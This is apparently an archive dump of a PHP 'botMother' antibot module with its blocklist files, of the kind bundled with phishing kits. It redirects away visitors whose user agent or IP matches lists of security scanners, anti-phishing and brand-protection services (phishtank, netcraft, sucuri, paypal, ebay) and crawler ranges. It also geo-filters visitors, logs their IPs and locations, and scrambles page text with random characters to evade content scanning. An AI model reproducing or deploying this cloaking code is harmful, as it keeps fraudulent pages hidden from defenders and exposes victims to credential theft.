??? 123123123123 .....................................................................................................................................??? 123123123123 .....................................................................................................................................botMother.php000064400000012652151562224040007227 0ustar00USER_AGENT = $_SERVER["HTTP_USER_AGENT"]; $this->USER_IP = $this->getIp(); } public function isSpace($ltr){ return preg_match('/\s+/', $ltr); } public function isValidLetter($ltr){ return preg_match('/^[\w\.]+$/', $ltr); } public function getCrypt(){ return ''.substr(md5(uniqid()),0,1).''; } public function obf($str){ $text = ""; $str = str_replace("|", "", $str); $strarr = str_split($str); foreach($strarr as $letter){ if($this->isSpace($letter)){ $text .= " "; } if($this->isValidLetter($letter)){ $text .= $this->getCrypt().$letter.$this->getCrypt(); }else{ $text .= $letter; } } echo $text; } public function getIp(){ if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } if($this->TEST_MODE){ $ip = "1.1.1.1"; } return $ip; } public function setLicenseKey($key){ $this->LICENSE_KEY = $key; } public function setGeoFilter($params){ $this->GEOS = $params; } public function setExitLink($link){ $this->EXIT_LINK = $link; } public function setTestMode($statu){ $this->TEST_MODE = $statu; } public function geoFilter(){ if(trim($this->GEOS)!=""){ $list = explode("," , $this->GEOS); if(!in_array($this->getIpInfo("countryCode"), $list)){ $this->killBot("Geo not matching the filter."); } } } public function getIpInfo($data){ $api = "http://ip-api.com/json/".$this->USER_IP; $c = curl_init($api); curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($c, CURLOPT_FOLLOWLOCATION, true); curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($c, CURLOPT_RETURNTRANSFER, true); $res = curl_exec($c); $json_data = json_decode($res, true); return $json_data[$data]; } public function killBot($log){ if(empty($this->EXIT_LINK)){ $this->EXIT_LINK = "https://google.com"; } $this->saveLog("Bot blocked [".$this->USER_IP."] REASON: ".$log."\n"); header("location: ".$this->EXIT_LINK); exit; } public function saveLog($log){ $fp = fopen($this->LOGS, "a"); fwrite($fp, $log); fclose($fp); } public function saveHit(){ $fp = fopen($this->VISITS, "a"); fwrite($fp, "Visit from [".$this->getIpInfo("query")." - ".$this->getIpInfo("country")." - ".$this->getIpInfo("city")." ] \n"); fclose($fp); } public function fileToArray($filename){ $file_content = file_get_contents($filename); $file_arr = explode(",", $file_content); return $file_arr; } public function isValidKey(){ // for future version. } public function blockByAgents(){ $agents = $this->fileToArray($this->AGENTS_BLACKLIST_FILE); foreach($agents as $agent){ if(stripos($this->USER_AGENT, $agent) !== false OR trim($this->USER_AGENT)==""){ return $this->killBot("Blacklisted user agent"); } } } public function blockByIps(){ $ips = $this->fileToArray($this->IPS_BLACKLIST_FILE); foreach($ips as $ip){ if($this->USER_IP == $ip){ return $this->killBot("Blacklisted IP matched"); } } } public function blockByIpsRange(){ $ips_range = $this->fileToArray($this->IPS_RANGE_BLACKLIST_FILE); foreach($ips_range as $ip_range){ if(strpos($this->USER_IP, $ip_range) !== false){ $this->killBot("Blacklisted IP range matched"); } } } public function run(){ if(!$this->TEST_MODE){ $this->geoFilter(); $this->blockByAgents(); $this->blockByIps(); $this->blockByIpsRange(); } } } ?>index.php000064400000000047151562224040006366 0ustar00data/IPS.jhn000064400000004773151562224040006625 0ustar00149.154.161.231,34.86.177.154,149.154.161.201,2a03:2880:25ff:74::face:b00c,2a03:2880:27ff:78::face:b00c,149.154.161.236,2a03:2880:31ff:25::face:b00c,2a03:2880:31ff:5::face:b00c,2a03:2880:31ff:11::face:b00c,2a03:2880:31ff:f::face:b00c,2a03:2880:31ff:4::face:b00c,2a03:2880:31ff:23::face:b00c,2a03:2880:31ff:78::face:b00c,149.154.161.198,149.154.161.252,149.154.161.220,149.154.161.244,149.154.161.246,2a09:bac1:200:18::215:d1,149.154.161.205,149.154.161.219,149.154.161.237,149.154.161.212,149.154.161.247,2a02:908:4e3:3b40:1168:6be0:4dc2:e76a,172.217.0.0,172.217.0.1,172.217.0.3,172.217.0.4,172.217.0.5,172.217.0.6,172.217.0.7,172.217.0.8, 172.217.0.9,172.217.0.10,172.217.0.11,172.217.0.12,172.217.0.13,172.217.0.14,172.217.0.15,172.217.0.16,209.85.128.0,209.85.128.1,209.85.128.2,209.85.128.3,209.85.128.0,209.85.129.0,209.85.130.0,209.85.131.0,209.85.132.0,209.85.133.0,209.85.134.0,209.85.135.0,209.85.136.0,209.85.137.0,209.85.138.0,209.85.139.0,209.85.140.0,209.85.141.0,209.85.142.0,209.85.143.0,209.85.144.0,209.85.145.0,209.85.146.0,209.85.147.0,209.85.148.0,209.85.149.0,209.85.150.0,209.85.151.0,209.85.152.0,209.85.153.0,209.85.154.0,209.85.155.0,209.85.156.0,209.85.157.0,209.85.158.0,209.85.159.0,209.85.160.0,209.85.161.0,209.85.162.0,209.85.163.0,209.85.164.0,209.85.165.0,209.85.166.0,209.85.167.0,209.85.168.0,209.85.169.0,209.85.170.0,209.85.171.0,209.85.172.0,209.85.173.0,209.85.174.0,209.85.175.0,209.85.176.0,209.85.177.0,209.85.178.0,209.85.179.0,209.85.180.0,209.85.181.0,209.85.182.0,209.85.183.0,209.85.184.0,209.85.185.0,209.85.186.0,209.85.187.0,209.85.188.0,209.85.189.0,209.85.190.0,209.85.191.0,209.85.128.3,209.85.128.4,209.85.128.5,209.85.128.6,209.85.128.7,209.85.128.8,209.85.128.9,209.85.128.10,209.85.128.11,209.85.128.12,209.85.128.13,209.85.128.14,209.85.128.15,209.85.128.16,209.85.128.17,64.34.119.0,64.34.119.1,64.34.119.2,64.34.119.3,64.34.119.4,64.34.119.5,64.34.119.6,64.34.119.7,64.34.119.8,64.34.119.9,64.34.119.10,64.34.119.11,64.34.119.12,64.34.119.13,64.34.119.14,64.34.119.15,64.34.119.16,64.34.119.17,64.34.119.18,64.34.119.19,64.34.119.20,64.34.119.21,64.34.119.22,64.34.119.23,64.34.119.24,173.194.0.1,173.194.0.2,173.194.0.3,173.194.0.4,173.194.0.5,173.194.0.6,173.194.0.7,173.194.0.8,173.194.0.9,173.194.0.10,173.194.0.11,173.194.0.12,173.194.0.13,173.194.0.14,173.194.0.15,173.194.0.16,137.149.0.0,137.149.0.1,137.149.0.2,137.149.0.3,137.149.0.4,137.149.0.5,137.149.0.6,137.149.0.7,137.149.0.8,137.149.0.9,137.149.0.10,137.149.0.11,137.149.0.12,137.149.0.13,137.149.0.14,137.149.0.15,137.149.0.16data/IPS_RANGE.jhn000064400000000166151562224040007531 0ustar0066.102, 38.100, 107.170, 66.221, 74.125, 38.100, 149.154, 64.37.103, 12.148.209, 198.54, 91.103.66, 198.54, 64.106.213data/.htaccess000064400000000015151562224040007250 0ustar00Deny from alldata/AGENTS.jhn000064400000021033151562224040007137 0ustar00Googlebot,Telegram,Bing,bot,above,google,softlayer,amazonaws,cyveillance,compatible,facebook,netpilot,calyxinstitute,tor-exit,apache-httpclient,lssrocketcrawler,Trident,X11,crawler,urlredirectresolver,jetbrains,spam,windows95,windows98,acunetix,netsparker,google,007ac9,008,192.comagent,200pleasebot,360spider,4seohuntbot,50.nu,a6-indexer,admantx,amznkassocbot,aboundexbot,aboutusbot,abravespider,accelobot,acoonbot,addthis.com,adsbot-google,ahrefsbot,alexabot,amagit.com,analytics,antbot,apercite,aportworm,arabot,crawl,slurp,spider,seek,accoona,acoon,adressendeutschland,ah-ha.com,ahoy,altavista,ananzi,anthill,appie,arachnophilia,arale,araneo,aranha,architext,aretha,arks,asterias,atlocal,atn,atomz,augurfind,backrub,bannana_bot,baypup,bdfetch,bigbrother,biglotron,bjaaland,blackwidow,blaiz,blog,blo.,bloodhound,boitho,booch,bradley,butterfly,calif,cassandra,ccubee,cfetch,charlotte,churl,cienciaficcion,cmc,collective,comagent,combine,computingsite,csci,curl,cusco,daumoa,deepindex,delorie,depspid,deweb,dieblindekuh,digger,ditto,dmoz,docomo,downloadexpress,dtaagent,dwcp,ebiness,ebingbong,e-collector,ejupiter,emacs-w3searchengine,esther,evliyacelebi,ezresult,falcon,felixide,ferret,fetchrover,fido,findlinks,fireball,fishsearch,fouineur,funnelweb,gazz,gcreep,genieknows,getterroboplus,geturl,glx,goforit,golem,grabber,grapnel,gralon,griffon,gromit,grub,gulliver,hamahakki,harvest,havindex,helix,heritrix,hkuwwwoctopus,homerweb,htdig,htmlindex,html_analyzer,htmlgobble,hubater,hyper-decontextualizer,ia_archiver,ibm_planetwide,ichiro,iconsurf,iltrovatore,image.kapsi.net,imagelock,incywincy,indexer,infobee,informant,ingrid,inktomisearch.com,inspectorweb,intelliagent,internetshinchakubin,ip3000,iron33,israeli-search,ivia,jack,jakarta,javabee,jetbot,jumpstation,katipo,kdd-explorer,kilroy,knowledge,kototoi,kretrieve,labelgrabber,lachesis,larbin,legs,libwww,linkalarm,linkvalidator,linkscan,lockon,lwp,lycos,magpie,mantraagent,mapoftheinternet,marvin/,mattie,mediafox,mediapartners,mercator,merzscope,microsofturlcontrol,minirank,miva,mj12,mnogosearch,moget,monster,moose,motor,multitext,muncher,muscatferret,mwd.search,myweb,najdi,nameprotect,nationaldirectory,nazilla,ncsabeta,nec-meshexplorer,nederland.zoek,netcartawebmapengine,netmechanic,netresearchserver,netscoop,newscan-online,nhse,nokia6682/,nomad,noyona,nutch,nzexplorer,objectssearch,occam,omni,opentext,openfind,openintelligencedata,orbsearch,osis-project,packrat,pageboy,pagebull,page_verifier,panscient,parasite,partnersite,patric,pear.,pegasus,peregrinator,pgpkeyagent,phantom,phpdig,picosearch,piltdownman,pimptrain,pinpoint,pioneer,piranha,plumtreewebaccessor,pogodak,poirot,pompos,poppelsdorf,poppi,populariconoclast,psycheclone,publisher,python,rambler,ravensearch,roach,roadrunner,roadhouse,robbie,robofox,robozilla,rules,salty,sbider,scooter,scoutjet,scrubby,search.,searchprocess,semanticdiscovery,senrigan,sg-scout,shai'hulud,shark,shopwiki,sidewinder,sift,silk,simmany,sitesearcher,sitevalet,sitetech-rover,skymob.com,sleek,smartwit,sna-,snappy,snooper,sohu,speedfind,sphere,sphider,spinner,spyder,steeler/,suke,suntek,supersnooper,surfnomore,sven,sygol,szukacz,tachblackwidow,tarantula,templeton,/teoma,t-h-u-n-d-e-r-s-t-o-n-e,theophrastus,titan,titin,tkwww,toutatis,t-rex,tutorgig,twiceler,twisted,ucsd,udmsearch,urlcheck,updated,vagabondo,valkyrie,verticrawl,victoria,vision-search,volcano,voyager/,voyager-hc,w3c_validator,w3m2,w3mir,walker,wallpaper,wanderer,wauuu,wavefire,webcore,webhopper,webwombat,webbandit,webcatcher,webcopy,webfoot,weblayers,weblinker,weblogmonitor,webmirror,webmonkey,webquest,webreaper,websitepulse,websnarf,webstolperer,webvac,webwalk,webwatch,webwombat,webzinger,wget,whizbang,whowhere,wildferret,worldlight,wwwc,wwwster,xenu,xift,xirq,yandex,yanga,yeti,yahoo!,drweb,hostinger,scanurl,above,google,Dr.Web,softlayer,amazonaws,cyveillance,dreamhost,netpilot,calyxinstitute,tor-exit,phishtank,msnbot,p3pwgdsn,netcraft,trendmicro,ebay,paypal,torservers,messagelabs,sucuri.net,crawler,samsung,alibaba,TelegramBot,TwitterBot,Meta,Scrapy,admantx-testex,ScreamingFrogSEOSpider,DuckDuckBot,2ip,XenForo,yacybot,Abonti,360Spider,Aboundexbot,Acoon,Abonti,Aboundexbot,Acoon,AdAuth,Adbeat,AddThis.com,ADMantX,ADmantXServiceFetcher,Adsbot,adstxtlab.com,aHrefsBot,AhrefsSiteAudit,aiHitBot,AlexaCrawler,AlexaSiteAudit,AllloadinFaviconBot,AmazonBot,AmazonELB,AmazonRoute53HealthCheck,AnalyticsSEOCrawler,ApacheBench,Applebot,AppSignalBot,Arachni,archive.orgbot,ArchiveBox,Asana,AskJeeves,AspiegelBot,Backlink-Check.de,BacklinkCrawler,BaiduSpider,Barkrowler,BDCbot,BetterUptimeBot,BingBot,Birdcrawlerbot,BitlyBot,Blekkobot,BLEXBotCrawler,Bloglovin,Blogtrottr,BoardReaderBlogIndexer,BrandVerity,Browsershots,BUbiNG,Buck,BuiltWith,Bytespider,Castro2,Catchpoint,CATExplorador,ccBotcrawler,CensysInspect,Charlotte,ChromePrivacyPreservingPrefetchProxy,Cincraw,CISPAWebAnalyzer,Cliqzbot,CloudFlareAlwaysOnline,CloudFlareAMPFetcher,CloudflareDiagnostics,CốcCốcBot,Cocolyzebot,Collectd,colly,CommaFeed,COMODODCV,Comscore,ContentKing,Cookiebot,Crawldad,CriteoBot,CrowdTangle,DatadogAgent,DataForSeoBot,datagnionbot,Datanyze,Dataprovider,Daum,deepnoc,Diffbot,DiscordBot,Disqus,DomainAppender,DomainCrawler,DomainsProject,DomainStatsBot,DotBot,DotcomMonitor,DuckDuckGoBot,EasouSpider,eCairn-Grabber,EMailExractor,EmailWolf,Embedly,evc-batch,Everyfeed,ExaBot,ExactSeekCrawler,Exchangecheck,eZPublishLinkValidator,FacebookExternalHit,Faveeo,Feedbin,FeedBurner,Feedly,Feedspot,Fever,Flipboard,FreeWebMonitoring,FreshRSS,GDNP,GenericBot,GenieoWebfilter,Gigablast,Gigabot,GlutenFreeCrawler,GmailImageProxy,Gobuster,Goo,GoogleFavicon,GooglePageSpeedInsights,GooglePartnerMonitoring,GoogleSearchConsole,GoogleStackdriverMonitoring,GoogleStoreBot,GoogleStructuredDataTestingTool,Googlebot,Gowikibot,Grammarly,Grapeshot,Gregarius,GTmetrix,HatenaFavicon,Headline,HeartRailsCapture,Heritrix,HeurekaFeed,HTTPMon,httpx,HuaweiWebCatBot,HubPages,HubSpot,ICC-Crawler,ichiro,IDG/IT,Iframely,IISSiteAnalysis,InetdexBot,InfoTigerBot,InktomiSlurp,inoreader,InternetMeasurement,IONOSCrawler,IP-GuideCrawler,IPIP,IPSAgent,JobboerseBot,K6,KlarnaBot,KomodiaBot,Kouio,Kozmonavt,l9explore,l9tcpid,LCC,Lighthouse,Linespider,LinkdexBot,LinkedInBot,LinkpadBot,LinkPreview,LinkWalker,LTX71,MaCoCu,Magpie-Crawler,MagpieRSS,Mail.RuBot,masscan,masscan-ng,MastodonBot,MeanpathBot,MegaIndex,MetaInspector,MetaJobBot,MicroAdBot,MJ12Bot,Mnogosearch,MojeekBot,Monitor.Us,Munin,MuscatFerret,Nagioscheck_http,NalezenCzBot,nbertaupete95,Neevabot,NetcraftSurveyBot,netEstate,NetLyzerFastProbe,NetSystemsResearch,Netvibes,NETZZAPPEN,NewsBlur,NewsGator,Newslitbot,NiceCrawler,NimbostratusBot,NLCrawler,Nmap,NotifyNinja,Nutch-basedBot,Nuzzel,oBot,Octopus,Omgilibot,Onalytica,OpenindexSpider,OpenLinkProfiler,OpenWebSpider,OrangeBot,Outbrain,PageModifiedPinger,Pageburst,PagePeeker,PageThing,Panscient,PaperLiBot,PATHspider,PayPalIPN,PetalBot,Phantomas,Picsearchbot,PingAdmin.Ru,PingdomBot,Pinterest,PiplBot,Plukkie,Pocket,PocketParser,Pompos,PritTorrent,ProjectPatchwatch,ProjectResonance,PRTGNetworkMonitor,QuerySeekerSpider,QuoraBot,QuoraLinkPreview,Qwantify,Rainmeter,RamblerMailImageProxy,RedditBot,RenovateBot,ReqBin,Riddler,Robozilla,RocketMonitorBot,Rogerbot,ROIHunter,SabsimBot,SafeDNSBot,ScamadviserExternalHit,ScoutJet,Scrapy,ScreamingFrogSEOSpider,ScreenerBot,SectigoDCV,Seekport,Sellers.Guide,SemanticScholarBot,SemrushBot,SEMrushReputationManagement,SensikaBot,SentryBot,Seobility,SEOENGBot,SEOkicks,SEOkicks-Robot,seolyt,SerendeputyBot,ServerDensity,SeznamBot,SeznamEmailProxy,SeznamZbozi.cz,ShopAlike,ShopifyPartner,SilverReader,SimplePie,SISTRIXCrawler,SISTRIXOptimizer,Site24x7WebsiteMonitoring,Siteimprove,SitemapParser-VIPnytt,SiteSucker,Sixy.ch,SkypeURIPreview,Slackbot,SMTBot,SnapURLPreviewService,SogouSpider,SosoSpider,Sparkler,Speedy,Spinn3r,Spotify,Sprinklr,SputnikBot,SputnikImageBot,SSLLabs,start.me,StatusCake,Sublinq,SurdotlyBot,SurveyBot,t3versions,TagInspector,TelegramBot,TheKnowledgeAI,theoldreader,ThinkChaos,TigerBot,TinEyeCrawler,TinyTinyRSS,TLSProbe,TraceMyFile,TrendictionBot,Turnitin,TurnitinBot,TweetedTimesBot,TweetmemeBot,TwinglyRecon,Twitterbot,UkrNetMailProxy,UniversalFeedParser,UptimeRobot,Uptimebot,URLAppendBot,VelenPublicWebCrawler,VercelBot,VeryHip,VisualSiteMapperCrawler,VKShareButton,W3CCSSValidator,W3CI18NChecker,W3CLinkChecker,W3CMarkupValidationService,W3CMobileOKChecker,W3CUnifiedValidator,Wappalyzer,WebbCrawler,WebDataStats,Weborama,WebPageTest,WebSitePulse,WellKnownBot,WeSEE:Search,WhatCMS,WhereGoes,WillowInternetCrawler,WooRank,WordPress,Wotbox,XenForo,YaCy,Yahoo!CacheSystem,YahooGemini,Yahoo!LinkPreview,Yahoo!MailProxy,YandexBot,Yeti/Naverbot,YoudaoBot,Yourls,Zaldamo,Zao,ZeList,zgrab,ZoominfoBot,ZumBot,ING,Yahoo! Slurp